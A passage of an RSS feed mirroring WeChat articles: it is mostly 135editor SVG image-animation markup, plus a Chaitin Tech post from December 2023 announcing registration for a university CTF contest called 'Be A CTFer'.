1" dur="1000s" begin="click+0s"></animate><set attributeName="visibility" fill="freeze" restart="never" to="hidden" begin="click+0s" dur="1ms"></set><rect opacity="0" width="1080" height="1655" x="0" y="0" style="pointer-events: painted;"><animate key:vsersion="2D1NO4DEF9584" attributeName="x" begin="click+0s" dur="1ms" values="100000" fill="freeze" restart="whenNotActive"></animate><set attributeName="visibility" fill="freeze" restart="never" to="hidden" begin="click+0s" dur="1ms"></set></rect></svg></section></section></section></section><section style=""><section data-copyright="135编辑器" data-id="57" data-name="点击直接展开-自定义触发" data-plugin="spread" data-template="%7B%22block_id%22%3A1705054236617%2C%22margin%22%3A%7B%22top%22%3A0%2C%22bottom%22%3A0%2C%22left%22%3A0%2C%22right%22%3A0%7D%2C%22padding%22%3A%7B%22top%22%3A0%2C%22bottom%22%3A0%2C%22left%22%3A0%2C%22right%22%3A0%7D%2C%22plugin%22%3A%22spread%22%2C%22template%22%3A%7B%22name%22%3A%22%E7%82%B9%E5%87%BB%E7%9B%B4%E6%8E%A5%E5%B1%95%E5%BC%80-%E8%87%AA%E5%AE%9A%E4%B9%89%E8%A7%A6%E5%8F%91%22%2C%22id%22%3A%2257%22%2C%22cate_id%22%3A%222%22%2C%22sub_cate_id%22%3A%22%2C2%2C11%2C%22%7D%7D" style="margin: 0px 0px 0px 0px;padding: 0px 0px 0px 0px;transform: rotateZ(0deg) scale(1);"><section data-inner-id="57" data-inner-name="135editor-spread"><section style="margin: 0px;padding: 0px;line-height: 0;font-size: 0;transform: scale(1);overflow: hidden;"><section style="height: 0;line-height: 0;transform: rotateZ(0);isolation: isolate;"><svg style="display: inline-block;width: 100%;user-select: none;vertical-align: top;pointer-events: none;outline: none;background-image: url(&#34;https://mmbiz.qpic.cn/sz_mmbiz_jpg/Fuleibl6qMuqjC7CDIQYWwEEhkU0shpoGvJjpFyiaiaTsiapf9J0kVqBf5oXDEtHicSQu2sVj9psqtuXFwmzaficovYA/640&#34;);background-attachment: scroll;background-position: top center;background-size: 100% 100%;" viewBox="0 0 1080 1655" vsersion="2N1JK4GHI9584" xml=""></svg><section style="height: 0;opacity: 0;margin: 0;">·</section><section style="background-position: center top;background-repeat: repeat;background-size: 100% auto;margin: 0 !important;padding: 0 !important;" data-copyright="135编辑器"><section style=""><section data-copyright="135编辑器" data-id="1" data-name="无缝图（点击不可弹出）" data-plugin="imgnopop" data-template="%7B%22block_id%22%3A1705054407748%2C%22margin%22%3A%7B%22top%22%3A0%2C%22bottom%22%3A0%2C%22left%22%3A0%2C%22right%22%3A0%7D%2C%22padding%22%3A%7B%22top%22%3A0%2C%22bottom%22%3A0%2C%22left%22%3A0%2C%22right%22%3A0%7D%2C%22plugin%22%3A%22imgnopop%22%2C%22template%22%3A%7B%22name%22%3A%22%E6%97%A0%E7%BC%9D%E5%9B%BE%EF%BC%88%E7%82%B9%E5%87%BB%E4%B8%8D%E5%8F%AF%E5%BC%B9%E5%87%BA%EF%BC%89%22%2C%22id%22%3A%221%22%2C%22cate_id%22%3A%221%22%2C%22sub_cate_id%22%3A%22%2C1%2C%22%7D%7D" style="margin: 0px 0px 0px 0px;padding: 0px 0px 0px 0px;transform: rotateZ(0deg) scale(1);"><section data-inner-id="1" data-inner-name="135editor-imgnopop"><section style="font-size: 0 !important;line-height: 0 !important;margin: -1px 0 0 !important;padding: 0 !important;text-align: center;transform: scale(1);"><svg style="line-height: 0;display: inline-block;svg: 135;box-sizing: border-box;width: 100%;-webkit-user-select: none;-moz-user-select: none;-ms-user-select: none;-o-user-select: none;user-select: none;vertical-align: top;background-image: url(&#34;https://mmbiz.qpic.cn/sz_mmbiz_png/Fuleibl6qMuqjC7CDIQYWwEEhkU0shpoGvzv3LV6ib79PsP6CreX0pFWuCfsE1ictneNWgI5pYOU5GibJTEPVGDEsw/640&#34;);background-repeat: no-repeat;background-size: cover;background-position: top center;" viewBox="0 0 1080 3388" vsersion="2N1JK4GHI9584" xml=""></svg></section></section></section></section></section></section><svg space="default" style="background-position: 0% 0%;background-repeat: no-repeat;background-size: 100% 100%;background-attachment: scroll;background-image: url(&#34;https://mmbiz.qpic.cn/sz_mmbiz_jpg/Fuleibl6qMuqjC7CDIQYWwEEhkU0shpoGvJjpFyiaiaTsiapf9J0kVqBf5oXDEtHicSQu2sVj9psqtuXFwmzaficovYA/640&#34;);box-sizing: border-box;vertical-align: top;user-select: none;visibility: visible;max-width: none !important;display: block;transform: rotateZ(0deg) scale(1);-webkit-transform: rotateZ(0deg) scale(1);-moz-transform: rotateZ(0deg) scale(1);-ms-transform: rotateZ(0deg) scale(1);-o-transform: rotateZ(0deg) scale(1);isolation: isolate;pointer-events: none;" viewBox="0 0 1080 1655" vsersion="2N1JK4GHI9584" x="0" xml="" y="0"><animate key:vsersion="2D1NO4DEF9584" attributeName="width" fill="freeze" restart="never" values="100%; 304.5334%; 304.5334%" calcMode="spline" keySplines="0.4 0 0.6 1;0.4 0 0.6 1" keyTimes="0; 0.001; 1" dur="1000s" begin="click+0s"></animate><set attributeName="visibility" fill="freeze" restart="never" to="hidden" begin="click+0s" dur="1ms"></set><rect opacity="0" width="1080" height="1655" x="0" y="0" style="pointer-events: painted;"><animate key:vsersion="2D1NO4DEF9584" attributeName="x" begin="click+0s" dur="1ms" values="100000" fill="freeze" restart="whenNotActive"></animate><set attributeName="visibility" fill="freeze" restart="never" to="hidden" begin="click+0s" dur="1ms"></set></rect></svg></section></section></section></section><section style=""><section data-copyright="135编辑器" data-id="57" data-name="点击直接展开-自定义触发" data-plugin="spread" data-template="%7B%22block_id%22%3A1705054237480%2C%22margin%22%3A%7B%22top%22%3A0%2C%22bottom%22%3A0%2C%22left%22%3A0%2C%22right%22%3A0%7D%2C%22padding%22%3A%7B%22top%22%3A0%2C%22bottom%22%3A0%2C%22left%22%3A0%2C%22right%22%3A0%7D%2C%22plugin%22%3A%22spread%22%2C%22template%22%3A%7B%22name%22%3A%22%E7%82%B9%E5%87%BB%E7%9B%B4%E6%8E%A5%E5%B1%95%E5%BC%80-%E8%87%AA%E5%AE%9A%E4%B9%89%E8%A7%A6%E5%8F%91%22%2C%22id%22%3A%2257%22%2C%22cate_id%22%3A%222%22%2C%22sub_cate_id%22%3A%22%2C2%2C11%2C%22%7D%7D" style="margin: 0px 0px 0px 0px;padding: 0px 0px 0px 0px;transform: rotateZ(0deg) scale(1);"><section data-inner-id="57" data-inner-name="135editor-spread"><section style="margin: 0px;padding: 0px;line-height: 0;font-size: 0;transform: scale(1);overflow: hidden;"><section style="height: 0;line-height: 0;transform: rotateZ(0);isolation: isolate;"><svg style="display: inline-block;width: 100%;user-select: none;vertical-align: top;pointer-events: none;outline: none;background-image: url(&#34;https://mmbiz.qpic.cn/sz_mmbiz_jpg/Fuleibl6qMuqjC7CDIQYWwEEhkU0shpoGr83wicAdaA6iaHAosTQrTB4ia9SBbKA7cGgxIJBJd09Ob3BnY6SJFDTEg/640&#34;);background-attachment: scroll;background-position: top center;background-size: 100% 100%;" viewBox="0 0 1080 1655" vsersion="2N1JK4GHI9584" xml=""></svg><section style="height: 0;opacity: 0;margin: 0;">·</section><section style="background-position: center top;background-repeat: repeat;background-size: 100% auto;margin: 0 !important;padding: 0 !important;" data-copyright="135编辑器"><section style=""><section data-copyright="135编辑器" data-id="1" data-name="无缝图（点击不可弹出）" data-plugin="imgnopop" data-template="%7B%22block_id%22%3A1705055651771%2C%22margin%22%3A%7B%22top%22%3A0%2C%22bottom%22%3A0%2C%22left%22%3A0%2C%22right%22%3A0%7D%2C%22padding%22%3A%7B%22top%22%3A0%2C%22bottom%22%3A0%2C%22left%22%3A0%2C%22right%22%3A0%7D%2C%22plugin%22%3A%22imgnopop%22%2C%22template%22%3A%7B%22name%22%3A%22%E6%97%A0%E7%BC%9D%E5%9B%BE%EF%BC%88%E7%82%B9%E5%87%BB%E4%B8%8D%E5%8F%AF%E5%BC%B9%E5%87%BA%EF%BC%89%22%2C%22id%22%3A%221%22%2C%22cate_id%22%3A%221%22%2C%22sub_cate_id%22%3A%22%2C1%2C%22%7D%7D" style="margin: 0px 0px 0px 0px;padding: 0px 0px 0px 0px;transform: rotateZ(0deg) scale(1);"><section data-inner-id="1" data-inner-name="135editor-imgnopop"><section style="font-size: 0 !important;line-height: 0 !important;margin: -1px 0 0 !important;padding: 0 !important;text-align: center;transform: scale(1);"><svg style="line-height: 0;display: inline-block;svg: 135;box-sizing: border-box;width: 100%;-webkit-user-select: none;-moz-user-select: none;-ms-user-select: none;-o-user-select: none;user-select: none;vertical-align: top;background-image: url(&#34;https://mmbiz.qpic.cn/sz_mmbiz_png/Fuleibl6qMuqjC7CDIQYWwEEhkU0shpoGic9pcfibvjGoFhXPeKcTGybgGBSiaxWfvs4qkAojfQVZMmHMAGjyqzebQ/640&#34;);background-repeat: no-repeat;background-size: cover;background-position: top center;" viewBox="0 0 1080 3483" vsersion="2N1JK4GHI9584" xml=""></svg></section></section></section></section></section></section><svg space="default" style="background-position: 0% 0%;background-repeat: no-repeat;background-size: 100% 100%;background-attachment: scroll;background-image: url(&#34;https://mmbiz.qpic.cn/sz_mmbiz_jpg/Fuleibl6qMuqjC7CDIQYWwEEhkU0shpoGr83wicAdaA6iaHAosTQrTB4ia9SBbKA7cGgxIJBJd09Ob3BnY6SJFDTEg/640&#34;);box-sizing: border-box;vertical-align: top;user-select: none;visibility: visible;max-width: none !important;display: block;transform: rotateZ(0deg) scale(1);-webkit-transform: rotateZ(0deg) scale(1);-moz-transform: rotateZ(0deg) scale(1);-ms-transform: rotateZ(0deg) scale(1);-o-transform: rotateZ(0deg) scale(1);isolation: isolate;pointer-events: none;" viewBox="0 0 1080 1655" vsersion="2N1JK4GHI9584" x="0" xml="" y="0"><animate key:vsersion="2D1NO4DEF9584" attributeName="width" fill="freeze" restart="never" values="100%; 310.3133%; 310.3133%" calcMode="spline" keySplines="0.4 0 0.6 1;0.4 0 0.6 1" keyTimes="0; 0.001; 1" dur="1000s" begin="click+0s"></animate><set attributeName="visibility" fill="freeze" restart="never" to="hidden" begin="click+0s" dur="1ms"></set><rect opacity="0" width="1080" height="1655" x="0" y="0" style="pointer-events: painted;"><animate key:vsersion="2D1NO4DEF9584" attributeName="x" begin="click+0s" dur="1ms" values="100000" fill="freeze" restart="whenNotActive"></animate><set attributeName="visibility" fill="freeze" restart="never" to="hidden" begin="click+0s" dur="1ms"></set></rect></svg></section></section></section></section><section style=""><section data-copyright="135编辑器" data-id="57" data-name="点击直接展开-自定义触发" data-plugin="spread" data-template="%7B%22block_id%22%3A1705054238304%2C%22margin%22%3A%7B%22top%22%3A0%2C%22bottom%22%3A0%2C%22left%22%3A0%2C%22right%22%3A0%7D%2C%22padding%22%3A%7B%22top%22%3A0%2C%22bottom%22%3A0%2C%22left%22%3A0%2C%22right%22%3A0%7D%2C%22plugin%22%3A%22spread%22%2C%22template%22%3A%7B%22name%22%3A%22%E7%82%B9%E5%87%BB%E7%9B%B4%E6%8E%A5%E5%B1%95%E5%BC%80-%E8%87%AA%E5%AE%9A%E4%B9%89%E8%A7%A6%E5%8F%91%22%2C%22id%22%3A%2257%22%2C%22cate_id%22%3A%222%22%2C%22sub_cate_id%22%3A%22%2C2%2C11%2C%22%7D%7D" style="margin: 0px 0px 0px 0px;padding: 0px 0px 0px 0px;transform: rotateZ(0deg) scale(1);"><section data-inner-id="57" data-inner-name="135editor-spread"><section style="margin: 0px;padding: 0px;line-height: 0;font-size: 0;transform: scale(1);overflow: hidden;"><section style="height: 0;line-height: 0;transform: rotateZ(0);isolation: isolate;"><svg style="display: inline-block;width: 100%;user-select: none;vertical-align: top;pointer-events: none;outline: none;background-image: url(&#34;https://mmbiz.qpic.cn/sz_mmbiz_jpg/Fuleibl6qMuqjC7CDIQYWwEEhkU0shpoGib8ibzgmgbfBlOMialxSIFyEnqGmJaophJBJtqqLCp0Lkg7WragAoHXqA/640&#34;);background-attachment: scroll;background-position: top center;background-size: 100% 100%;" viewBox="0 0 1080 1655" vsersion="2N1JK4GHI9584" xml=""></svg><section style="height: 0;opacity: 0;margin: 0;">·</section><section style="background-position: center top;background-repeat: repeat;background-size: 100% auto;margin: 0 !important;padding: 0 !important;" data-copyright="135编辑器"><section style=""><section data-copyright="135编辑器" data-id="1" data-name="无缝图（点击不可弹出）" data-plugin="imgnopop" data-template="%7B%22block_id%22%3A1705054436072%2C%22margin%22%3A%7B%22top%22%3A0%2C%22bottom%22%3A0%2C%22left%22%3A0%2C%22right%22%3A0%7D%2C%22padding%22%3A%7B%22top%22%3A0%2C%22bottom%22%3A0%2C%22left%22%3A0%2C%22right%22%3A0%7D%2C%22plugin%22%3A%22imgnopop%22%2C%22template%22%3A%7B%22name%22%3A%22%E6%97%A0%E7%BC%9D%E5%9B%BE%EF%BC%88%E7%82%B9%E5%87%BB%E4%B8%8D%E5%8F%AF%E5%BC%B9%E5%87%BA%EF%BC%89%22%2C%22id%22%3A%221%22%2C%22cate_id%22%3A%221%22%2C%22sub_cate_id%22%3A%22%2C1%2C%22%7D%7D" style="margin: 0px 0px 0px 0px;padding: 0px 0px 0px 0px;transform: rotateZ(0deg) scale(1);"><section data-inner-id="1" data-inner-name="135editor-imgnopop"><section style="font-size: 0 !important;line-height: 0 !important;margin: -1px 0 0 !important;padding: 0 !important;text-align: center;transform: scale(1);"><svg style="line-height: 0;display: inline-block;svg: 135;box-sizing: border-box;width: 100%;-webkit-user-select: none;-moz-user-select: none;-ms-user-select: none;-o-user-select: none;user-select: none;vertical-align: top;background-image: url(&#34;https://mmbiz.qpic.cn/sz_mmbiz_png/Fuleibl6qMuqjC7CDIQYWwEEhkU0shpoGUYVaJSYkL0Lxibfja2sUhiaBpfS1yqENl9ic4pZGQEUyNTex8qNw9Lczg/640&#34;);background-repeat: no-repeat;background-size: cover;background-position: top center;" viewBox="0 0 1080 2777" vsersion="2N1JK4GHI9584" xml=""></svg></section></section></section></section></section></section><svg space="default" style="background-position: 0% 0%;background-repeat: no-repeat;background-size: 100% 100%;background-attachment: scroll;background-image: url(&#34;https://mmbiz.qpic.cn/sz_mmbiz_jpg/Fuleibl6qMuqjC7CDIQYWwEEhkU0shpoGib8ibzgmgbfBlOMialxSIFyEnqGmJaophJBJtqqLCp0Lkg7WragAoHXqA/640&#34;);box-sizing: border-box;vertical-align: top;user-select: none;visibility: visible;max-width: none !important;display: block;transform: rotateZ(0deg) scale(1);-webkit-transform: rotateZ(0deg) scale(1);-moz-transform: rotateZ(0deg) scale(1);-ms-transform: rotateZ(0deg) scale(1);-o-transform: rotateZ(0deg) scale(1);isolation: isolate;pointer-events: none;" viewBox="0 0 1080 1655" vsersion="2N1JK4GHI9584" x="0" xml="" y="0"><animate key:vsersion="2D1NO4DEF9584" attributeName="width" fill="freeze" restart="never" values="100%; 267.6167%; 267.6167%" calcMode="spline" keySplines="0.4 0 0.6 1;0.4 0 0.6 1" keyTimes="0; 0.001; 1" dur="1000s" begin="click+0s"></animate><set attributeName="visibility" fill="freeze" restart="never" to="hidden" begin="click+0s" dur="1ms"></set><rect opacity="0" width="1080" height="1655" x="0" y="0" style="pointer-events: painted;"><animate key:vsersion="2D1NO4DEF9584" attributeName="x" begin="click+0s" dur="1ms" values="100000" fill="freeze" restart="whenNotActive"></animate><set attributeName="visibility" fill="freeze" restart="never" to="hidden" begin="click+0s" dur="1ms"></set></rect></svg></section></section></section></section><section style=""><section data-copyright="135编辑器" data-id="57" data-name="点击直接展开-自定义触发" data-plugin="spread" data-template="%7B%22block_id%22%3A1705054238913%2C%22margin%22%3A%7B%22top%22%3A0%2C%22bottom%22%3A0%2C%22left%22%3A0%2C%22right%22%3A0%7D%2C%22padding%22%3A%7B%22top%22%3A0%2C%22bottom%22%3A0%2C%22left%22%3A0%2C%22right%22%3A0%7D%2C%22plugin%22%3A%22spread%22%2C%22template%22%3A%7B%22name%22%3A%22%E7%82%B9%E5%87%BB%E7%9B%B4%E6%8E%A5%E5%B1%95%E5%BC%80-%E8%87%AA%E5%AE%9A%E4%B9%89%E8%A7%A6%E5%8F%91%22%2C%22id%22%3A%2257%22%2C%22cate_id%22%3A%222%22%2C%22sub_cate_id%22%3A%22%2C2%2C11%2C%22%7D%7D" style="margin: 0px 0px 0px 0px;padding: 0px 0px 0px 0px;transform: rotateZ(0deg) scale(1);"><section data-inner-id="57" data-inner-name="135editor-spread"><section style="margin: 0px;padding: 0px;line-height: 0;font-size: 0;transform: scale(1);overflow: hidden;"><section style="height: 0;line-height: 0;transform: rotateZ(0);isolation: isolate;"><svg style="display: inline-block;width: 100%;user-select: none;vertical-align: top;pointer-events: none;outline: none;background-image: url(&#34;https://mmbiz.qpic.cn/sz_mmbiz_jpg/Fuleibl6qMuqjC7CDIQYWwEEhkU0shpoGxhFkPuhFnsm6gyiaeiaveicj7g1BKeZ42eNMsQyFst6ZKCib0IE0hfMdOg/640&#34;);background-attachment: scroll;background-position: top center;background-size: 100% 100%;" viewBox="0 0 1080 1655" vsersion="2N1JK4GHI9584" xml=""></svg><section style="height: 0;opacity: 0;margin: 0;">·</section></section></section></section></section></section></section><p style="display: none;"><mp-style-type data-value="10000"></mp-style-type></p>



<p><a href="https://mp.weixin.qq.com/s?__biz=MzIwNDA2NDk5OQ==%5cx26amp;mid=2651386840%5cx26amp;idx=1%5cx26amp;sn=804dcd7824ef0fb880df6ea2ae7a4f0c%5cx26amp;chksm=8d398250ba4e0b46abc401d46fb9f91b78fbde45119dbb330b2508158d9b7ac6cd6f7eb1e771%5cx26amp;token=388270394%5cx26amp;lang=zh_CN#rd">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=b0f57ea9&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzI2OTUzMzg3Ng%3D%3D%26mid%3D2247501426%26idx%3D1%26sn%3D03e70f6b691aba8f398e178e17a36a56%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Mon, 15 Jan 2024 11:11:00 +0800</pubDate>
    </item>
    <item>
      <title>Hack for the Real | 这一次，以极客之名，为真实而战！</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzI2OTUzMzg3Ng==&amp;mid=2247501418&amp;idx=1&amp;sn=b0a2da3a3c97ba02b9939ea06ecd3c8d</link>
      <description>好久不见，它来啦它来啦～～&#xD;&#xA;♥️高校体验赛「Be A CTFer」报名启动！各位高校选手可以在胖哈勃公众号后台私信“我要参加高校体验赛”获取邀请函！！</description>
      <content:encoded><![CDATA[<p>
<span>长亭科技</span> <span>2023-12-29 17:00</span> <span style="display: inline-block;">北京</span>
</p>

<p>好久不见，它来啦它来啦～～</p>
<p>♥️高校体验赛「Be A CTFer」报名启动！各位高校选手可以在胖哈勃公众号后台私信“我要参加高校体验赛”获取邀请函！！</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=f1741494&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FtzAD45OOV0ZZ1rE75iaRRR6TqYbWnZM4O35n6UVbE2aNGbcFLicdbSpHwejiaAzC59PGBaJfMCdTBAxRSdjY9t7QQ%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p data-mpa-powered-by="yiban.io"><br/></p><section style="height:0;opacity:0;margin:0;">·</section><section style="height: 0;opacity: 0;margin: 0;">·</section><section style="background-size: 100%;background-repeat: repeat;background-position: center top;padding: 0px !important;margin: 0px !important;" data-copyright="135编辑器"><section style=""><section data-id="45" data-plugin="audioqqmusicinlargescreen" style="transform: rotateZ(0deg) scale(1);padding: 0px 0px 0px 0px;margin: 0px 0px 0px 0px;"><section data-inner-id="45" data-inner-name="135editor-audioqqmusicinlargescreen"><svg xml:vsersion="2U1JK4FGH9584" viewBox="0 0 345 220" style="width: 100%;padding: 0;margin: 0;line-height: 0;isolation: isolate;height: 100vh;font-size: 0;display: block;box-sizing: border-box;background-size: 100%;background-repeat: no-repeat;background-position: top;background-color: white;"><animate key:vsersion="2B1VW4EFG9584" attributeName="height" begin="0.1" dur="0.01s" to="0" fill="freeze"></animate></svg><section style="margin: 0px;padding: 0px;line-height: 0;font-size: 0;transform: scale(1);pointer-events: painted;overflow: hidden;white-space: nowrap;"><section style="height: 0;"><section style="padding-top: 0.1px;"><section style="transform: scale(80) rotate(90deg);transform-origin: 90% 50%;opacity: 0;-webkit-transform: scale(80) rotate(90deg);-webkit-transform-origin: 90% 50%;-o-transform: scale(80) rotate(90deg);-o-transform-origin: 90% 50%;-ms-transform: scale(80) rotate(90deg);-ms-transform-origin: 90% 50%;-moz-transform: scale(80) rotate(90deg);-moz-transform-origin: 90% 50%;"><section><section><mp-common-qqmusic class="qqmusic_iframe res_iframe js_uneditable custom_select_card" data-pluginname="insertaudio" mid="000gf4Iy0NH7Fc" albumurl="https://y.gtimg.cn/music/photo_new/T002R90x90M000002JkDto2ve9qk.jpg" audiourl="http://isure6.stream.qqmusic.qq.com/C200000sztfy4K9XIs.m4a?guid=2000000052&amp;vkey=BD1627CE2ABCD59E0AD766D9155730F2D2D4CB030DEB4D3ABD638DE81DCEBAB2A3768509F7CD6EA4E76A4D8A14C57916E68BD69359EE0EC0&amp;uin=0&amp;fromtag=20052" music_name="Faster Than Light (纯音乐)" singer="Andreas Waldetoft - Stellaris" play_length="400" src="/mp/readtemplate?t=app_editor/music&amp;singer=Andreas%20Waldetoft%20-%20Stellaris&amp;music_name=Faster%20Than%20Light%20(%E7%BA%AF%E9%9F%B3%E4%B9%90)&amp;albumurl=https%3A%2F%2Fy.gtimg.cn%2Fmusic%2Fphoto_new%2FT002R68x68M000002JkDto2ve9qk.jpg&amp;musictype=1" musictype="1" otherid="000gf4Iy0NH7Fc" albumid="002JkDto2ve9qk" jumpurlkey="" musicid="204457097"></mp-common-qqmusic></section></section></section></section></section><svg opacity="1" style="transform: rotateZ(0deg) scale(1);pointer-events: none;display: inline-block;width: 100%;vertical-align: top;background-size: cover;background-repeat: no-repeat;background-image: url(&#34;https://mmbiz.qpic.cn/sz_mmbiz_png/Fuleibl6qMuojD4VRnzQGVOz4vvsBMcyajEVht0Ac8QmbzkSdvsGlA5Q01sialUs6QXyGGfLDNBGzDkkhiamiaiaBHw/640?wx_fmt=png&amp;from=appmsg&#34;);-webkit-tap-highlight-color: transparent;user-select: none;" viewBox="0 0 345 23" vsersion="2U1JK4FGH9584" xml=""></svg><section style="line-height: 0;transform-origin: 0% 0%;transform: scale(-1, 1);display: inline-block;pointer-events: none;vertical-align: top;width: 100%;"><svg xml:vsersion="2U1JK4FGH9584" opacity="1" preserveAspectRatio="xMidYMinmeet" space="preserve" style="display: block;transform: scale(-1, 1);pointer-events: none;width: 100%;" viewBox="0 0 345 23" x="0px" xml="" xmlns="http://www.w3.org/2000/svg" y="0px" xml:space="default"><g style="pointer-events: visible;opacity: 0;"><rect fill="transparent" width="0" height="23" x="0" y="0"></rect><rect fill="transparent" width="345" height="0" x="0" y="0"></rect><rect fill="transparent" width="0" height="23" x="345" y="0"></rect><rect fill="transparent" width="345" height="0" x="0" y="23"></rect></g></svg></section></section></section></section></section><section style=""><section data-id="330" data-plugin="spreadafterdiffusezoomoutwithpause" style="transform: rotateZ(0deg) scale(1);padding: 0px 0px 0px 0px;margin: 0px 0px 0px 0px;"><section data-inner-id="330" data-inner-name="135editor-spreadafterdiffusezoomoutwithpause"><section style="width: 100%;user-select: none;transform: scale(1);pointer-events: none;padding: 0;overflow: hidden;margin: 0;line-height: 0;isolation: isolate;font-size: 0;box-sizing: border-box;-webkit-transform: scale(1);-o-transform: scale(1);-ms-transform: scale(1);-moz-transform: scale(1);"><section style="transform: rotateZ(0);pointer-events: all;line-height: 0 !important;isolation: isolate;height: 0 !important;-webkit-transform: rotateZ(0);-o-transform: rotateZ(0);-ms-transform: rotateZ(0);-moz-transform: rotateZ(0);"><svg space="default" style="width: 100%;vertical-align: top;user-select: none;pointer-events: none;display: inline-block;box-sizing: border-box;background-size: cover;background-repeat: no-repeat;background-position: 0px 0px;background-image: url(&#34;https://mmbiz.qpic.cn/sz_mmbiz_jpg/Fuleibl6qMuojD4VRnzQGVOz4vvsBMcyaEWXyVOaVVa4mm56gSqv7P56ttFsIjNy0aXW4HMm6zia5AHMMopRFvVw/640?wx_fmt=jpeg&amp;from=appmsg&#34;);-webkit-tap-highlight-color: transparent;" viewBox="0 0 1000 1777" vsersion="2U1JK4FGH9584" xml=""></svg><section style="height: 0;opacity: 0;margin: 0;">·</section><section style="padding: 0 !important;margin: 0 !important;background-size: 100% auto;background-repeat: repeat;background-position: center top;" data-copyright="135编辑器"><section style=""><section data-id="3" data-plugin="imgsnopop" style="transform: rotateZ(0deg) scale(1);padding: 0px 0px 0px 0px;margin: 0px 0px 0px 0px;"><section data-inner-id="3" data-inner-name="135editor-imgsnopop"><section style="font-size: 0 !important;line-height: 0 !important;margin: -1px 0 0 !important;padding: 0 !important;text-align: center;transform: scale(1);"><svg style="line-height: 0;display: inline-block;box-sizing: border-box;width: 100%;user-select: none;vertical-align: top;background-image: url(&#34;https://mmbiz.qpic.cn/sz_mmbiz_jpg/Fuleibl6qMuojD4VRnzQGVOz4vvsBMcyaUG1QCcsKibh9CtEUyguc9zVn1BNnBekgeGZny1H9uibGW7XIzrNr8mwg/640?wx_fmt=jpeg&amp;from=appmsg&#34;);background-repeat: no-repeat;background-size: cover;background-position: center top;" viewBox="0 0 1080 2176" vsersion="2U1JK4FGH9584" xml=""></svg></section><section style="font-size: 0 !important;line-height: 0 !important;margin: -1px 0 0 !important;padding: 0 !important;text-align: center;transform: scale(1);"><svg style="line-height: 0;display: inline-block;box-sizing: border-box;width: 100%;user-select: none;vertical-align: top;background-image: url(&#34;https://mmbiz.qpic.cn/sz_mmbiz_jpg/Fuleibl6qMuojD4VRnzQGVOz4vvsBMcyaRjK84kto7GJLGyPw9dCnXO2icrJIcK2fW0vSIXibt3LweFIUkCElvLYw/640?wx_fmt=jpeg&amp;from=appmsg&#34;);background-repeat: no-repeat;background-size: cover;background-position: center top;" viewBox="0 0 1080 2358" vsersion="2U1JK4FGH9584" xml=""></svg></section></section></section></section></section></section><section style="white-space: nowrap;padding: 0;overflow-x: hidden;margin-bottom: -1px;line-height: 0;font-size: 0;"><section style="display: inline;margin: 0 !important;padding: 0;font-size: 0;line-height: 0;"><svg space="default" style="width: 100.1%;vertical-align: top;user-select: none;pointer-events: none;display: inline-block;box-sizing: border-box;background-size: cover;background-repeat: no-repeat;background-position: center top;background-image: url(&#34;https://mmbiz.qpic.cn/sz_mmbiz_png/Fuleibl6qMuojD4VRnzQGVOz4vvsBMcyaAicia9YFoVehMTnwEAKicjYtxRt9THsj1MTVr6HUcW1QFcOv6YA12EUkA/640?wx_fmt=png&amp;from=appmsg&#34;);transform: scale(1);-webkit-tap-highlight-color: transparent;max-width: none !important;" viewBox="0 0 1000 1777" vsersion="2U1JK4FGH9584" xml=""><animate key:vsersion="2B1VW4EFG9584" attributeName="width" begin="click+0.8s" dur="1000s" fill="freeze" restart="never" values="0"></animate><animate key:vsersion="2B1VW4EFG9584" attributeName="height" begin="click+0.8s" dur="1000s" fill="freeze" restart="never" values="0"></animate><g transform="translate(500 888.5)"><g><animateTransform attributeName="transform" begin="click" calcMode="spline" dur="1000s" keySplines="0.42 0 0.58 1.0; 0.42 0 0.58 1.0; 0.42 0 0.58 1.0; 0.42 0 0.58 1.0" keyTimes="0; 0.0004; 0.0004; 0.0008; 1" restart="never" type="scale" values="1; 2; 2; 4; 4"></animateTransform><animate key:vsersion="2B1VW4EFG9584" attributeName="opacity" begin="click+0.4s" calcMode="spline" dur="1000s" fill="freeze" keySplines="0.42 0 0.58 1.0; 0.42 0 0.58 1.0" keyTimes="0; 0.0004; 1" restart="never" values="1; 0; 0"></animate><foreignObject x="-500" y="-888.5" width="1000" height="1777"><svg space="default" style="width: 100%;vertical-align: top;user-select: none;pointer-events: none;background-size: cover;background-repeat: no-repeat;background-position: center top;background-image: url(&#34;https://mmbiz.qpic.cn/sz_mmbiz_jpg/Fuleibl6qMuojD4VRnzQGVOz4vvsBMcyavURribc5PT92YJ5fQibfU9x8nYslgjecPeEZHInrGOALRsE1gsarC1KQ/640?wx_fmt=jpeg&amp;from=appmsg&#34;);" viewBox="0 0 1000 1777" vsersion="2U1JK4FGH9584" xml=""></svg></foreignObject><rect x="-500" y="-888.5" width="1000" height="1777" fill="transparent" opacity="0" style="pointer-events: painted;"><animate key:vsersion="2B1VW4EFG9584" attributeName="x" begin="click" dur="1ms" values="100000" fill="freeze" restart="never"></animate><set attributeName="visibility" fill="freeze" restart="never" to="hidden" begin="click" dur="1ms"></set></rect></g></g></svg></section><section style="display: inline;margin: 0 !important;padding: 0;font-size: 0;line-height: 0;"><svg space="default" style="width: 100.1%;vertical-align: top;user-select: none;pointer-events: none;display: inline-block;box-sizing: border-box;background-size: cover;background-repeat: no-repeat;background-position: center top;background-image: url(&#34;https://mmbiz.qpic.cn/sz_mmbiz_png/Fuleibl6qMuojD4VRnzQGVOz4vvsBMcya4QC54DicSDfhHh0haZX5tGY60my9ibmkzFQhibu0lhkmlvFMArseBEjpQ/640?wx_fmt=png&amp;from=appmsg&#34;);transform: scale(1);-webkit-tap-highlight-color: transparent;max-width: none !important;" viewBox="0 0 1000 1777" vsersion="2U1JK4FGH9584" xml=""><animate key:vsersion="2B1VW4EFG9584" attributeName="width" begin="click+0.8s" dur="1000s" fill="freeze" restart="never" values="0"></animate><animate key:vsersion="2B1VW4EFG9584" attributeName="height" begin="click+0.8s" dur="1000s" fill="freeze" restart="never" values="0"></animate><g transform="translate(500 888.5)"><g><animateTransform attributeName="transform" begin="click" calcMode="spline" dur="1000s" keySplines="0.42 0 0.58 1.0; 0.42 0 0.58 1.0; 0.42 0 